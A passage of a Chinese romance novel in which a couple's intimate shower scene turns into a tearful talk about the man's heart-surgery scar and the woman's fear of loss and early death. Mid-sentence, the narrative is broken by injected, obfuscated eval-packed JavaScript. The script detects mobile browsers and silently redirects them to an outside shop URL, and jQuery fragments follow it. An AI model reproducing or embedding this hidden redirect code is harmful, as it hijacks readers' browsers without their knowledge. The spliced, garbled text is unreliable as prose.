原本，厉盛是笑着的。


    听到浴室门开合，他有过一瞬惊讶，但很快化作纵容。


    “……月月？”


    “不好意思，我拿一下耳机！”


    玻璃之外，招月的身影左右摇晃。


    厉盛时常感慨她可爱，冒进的大胆、匆忙的迂回，每一种姿态都让心口酸胀得发痛。


    他淋在水中，抬了手，隔着水雾描摹她。


    指尖悬空，拂过幻象般的身形，沿着及肩的乌黑长发绘出爱心形状。


    清晰的线条，把她圈进去。


    一颗，两颗。


    他自嘲于这种孩子气的行为，却笑得相当满足。


    只不过，画下爱心的时候，厉盛没想到月月竟会拉开淋浴间的门。


    “……怎么进来了。”


    “啊，我……我以为……”


    唇边的笑意顿时僵滞。她视线胡乱飘忽，马上就要触及禁地。


    他开始慌。


    没准备好如此坦诚相待，也难以抑制心中蓬勃的渴望。


    厉盛先一步捂住她明亮灼人的眼睛，然后发现自己想做的远不止于此。


    用一只手能不能抱起来？


    他早就想试试了。


    月月比想象中还要轻，微张的双唇滴着水，透出晶莹的诱惑。某种尽力维持平衡的东西在那一刻溢出来，呼啸而至。


    想吻她。


    吻到融化为止。


    【两个人一起洞潜】


    【KISS】


    【KISSX2】


    【热水淋浴中】


    【怨念累积中】


    【线索交缠中】


    【爬升中】


    【只是KISS没有别的】


    【到此为止】


    听起来像沾了哭腔。


    招月忽然想起中午，厉盛那句半真半假的话。


    他一直困在可能伤害她的惊恐里。


    权力，体格，家世，还有刚才偶然瞥见的东西。


    “也没有那么怕。”


    她嗫嚅，声音越来越小，最后几乎听不见。


    “但是我……还是喜欢躺着……”


    月月给了他台阶。


    厉盛贪恋她颈窝的温度，亲昵地蹭了蹭。


    “好，我记住了，衣服也湿着，待会儿帮你换掉。”


    “嗯……”


    水流始终没停下，蒸腾的水雾包裹着体温。


    招月发现淋浴间的玻璃和她洗澡时不一样，雾气重重的。


    “你动了哪里，弄得浴室像热带雨林。”


    “关了抽湿系统。”


    “不会喘不过来气吗。”


    “这种蒸腾的状态比较有安全感。”他低声解释。


    她埋怨似的吐槽：“在你充满安全感的地方，让我丧失安全。”


    “对不起，”厉盛浅笑，被捉住了把柄，“下次我会忍住。”


    两人贴得太近，月月柔润的轮廓化在他怀里，这样下去，挺立的反应不知道多久才能平息。


    他飞速关水，托着她走出去。


    招月被轻轻放进浴缸。


    屈起腿，掩住透明的衣襟，闷闷不乐。


    “下次会忍住”么。


    那句话仿佛一个开关。


    “咔”，拨动神经，拂下她的眼帘。


    “……其实，我看到了。”


    招月突然说。


    “嗯？”


    厉盛裹紧浴袍，翻出干净的毛巾，半跪在浴缸旁边。


    她的长发也湿漉漉的，淋过雨一样。


    他正要伸手去擦。


    “你胸口有一道疤痕。”


    刚打开门她就看见了。


    白茫茫雾气争先恐后涌出，却遮不住那条丝线。它从左胸蔓延至肋骨，向侧后延伸，一直隐入腋下。


    刀刃曾经切开过那里。


    他的心脏。


    “不是忍不忍得住的问题，”招月倏然抬眸，“你是不想让我看见，才……”


    才用几乎暴烈的侵略性夺取她的呼吸。


    “……”


    厉盛无奈叹息。


    他怎么能小看那女孩惊人的洞察力。


    “一半一半，我确实没想到你会开门。”


    浴袍松松垮垮，吸了水，露出胸肌之间的沟壑。


    在她眼中极具性张力的部位，再往左些，却是伤痕。


    “手术？什么时候。”


    不知不觉，招月竟有些咄咄逼人。


    “很小的时候，我基本没有印象了。”


    狭长的痕迹不算明显，颜色发白，已经融入了皮肤。


    “心脏。”她问。


    “嗯，有点复杂的小毛病，”他垂眼，“所以留下了难看的疤痕。”


    水停了，空气噤若寒蝉。


    招月盯着他浴袍下隐约露出的伤疤，眼神逐渐空洞。


    不对。


    应该不止是“小毛病”吧。


    “现在好了吗。”


    “当然，”他的回答显得遥远，像从外太空传来，“手术过去十几年了。”


    ……真的么。


    如果是真的，为什么听到心脏手术的瞬间，她耳边响起死亡的声音。


    人的存在是一团无用的激情，随时随地都会消散。


    他也一样。


    那双拔下腐朽栏杆、轻易托举她的双臂，并非想象中那般坚不可摧。


    “不许骗我。”


    招月淡然向他求证。


    “月月……？”


    潮热的余韵极速冷却，厉盛察觉到眼前的女孩正在一点点坍塌。


    他不知道招月想起了小狗的事。


    等爱变成氧气，再一口气全部抽走，多狠毒。它只能活短短十几年。这个世界变幻莫测，人也面临着死亡。那么从源头截断不就好了？可是来不及了。现在她好像很喜欢他。来不及了。


    亲眼目睹过的死已经悄然融入生命。


    内心的防御机制一旦启动，她便自暴自弃，滑向虚无的深渊。


    “没关系，反正——”


    招月目光平静，宛如一面冰冷的湖水，令人不忍打断。


    “反正我的姥姥姥爷爷爷奶奶都走了，我是隔代遗传的短命鬼，我会死在你前面的。”


    厉盛没想到自己等来的是这么残忍的自白。


    为什么？


    为什么要做出这种血淋淋的预言？他明明在露台上把人抢回来了，为什么还是留


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131726|186944||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不住她？


    深黑短发不断淌着水。死寂的沉默后，他颓然地、不堪重负地低下头，半张脸埋进掌根。


    “月月。”


    吞回去的眼泪终于顺着腕骨流下来。


    “你别欺负我了……”


    深重的鼻音。


    他哭了……？


    我，在欺负他？


    招月眨眨眼，失焦的目光清澈了大半。


    “啊，没有。”


    她顾不上湿透的睡衣，跨出浴缸，去拉厉盛的手腕。


    拉不动。


    泪水默默往下流，所有他隐忍的情感，全部和淋浴后的水汽混在一起。


    招月心软了，摊开胳膊往他怀里钻。


    “我只是不想捉迷藏的时候再被剩下……”


    厉盛难得没有回抱，怕移开手，挡不住眼泪决堤。


    “所以你提前退出，”他甚至带了一丝哽咽，“你的退出方式就是‘死’。”


    她的确经常想到死。


    可这一次，明明是因为害怕失去。


    “因为……”


    招月仰头，握住对方宽大的手。


    “因为我担心你。”


    那男人拼命压抑着反握回去。


    “月月，我不明白……”


    为什么，他畅想的未来在她眼里变成葬礼的倒计时。


    “抱歉嘛，”她柔声，“我不说了好不好。”


    “不。”


    厉盛眼眶泛红，彻底放弃了抵抗。


    “说吧，你尽管说，哭是我的事，你就算在公司里……”


    冷峻的坚冰碎成了雪。


    招月看着泪水挂在他下颌，手忙脚乱地掏出了真心话。


    “我是害怕你离开我……”她怯怯的，“各种方式。”


    他视线颤了颤，渐渐冷静了些。


    “是吗。”


    “为了逃避分别的悲痛，不小心有点极端……”


    世界变动不居，而她妄图抓住确定的事物。


    厉盛恍然，没想到，是自己心口的手术痕迹让她反复动摇。


    “心脏已经治好了，很多年都在正常生活，”他略显急切，“我现在很健康，很干净，相信我。”


    “那为什么要瞒着。”


    招月抬起手，掌心微微弯曲，做成勺子状。


    “万一，你觉得难看……”


    他的理智回归，眼里却雾气氤氲，依旧止不住地流泪。


    “怎么会？”她笑了，“大帅哥身上有疤痕，那不是更酷了吗。”


    厉盛敛着双眸，不忘拿起毛巾帮她吸附肩颈的潮湿。


    “……”


    空气在默然中悄悄回温。


    “厉总，有没有人说过你哭得很让人心动。”


    “没有。”


    “尤其是一边哭还一边照顾人的样子。”


    招月眯着眼享受擦拭，弯成勺子的右手一直贴在男人下巴处。


    “这只手在干什么。”


    他带着鼻音低眉示意。


    浴室安静，轻微的抽泣也显得格外明显。


    她掌心湿漓漓的，收集了一小捧水滴，是激情消亡后依然残留、确实存在的东西。


    “接你的眼泪。”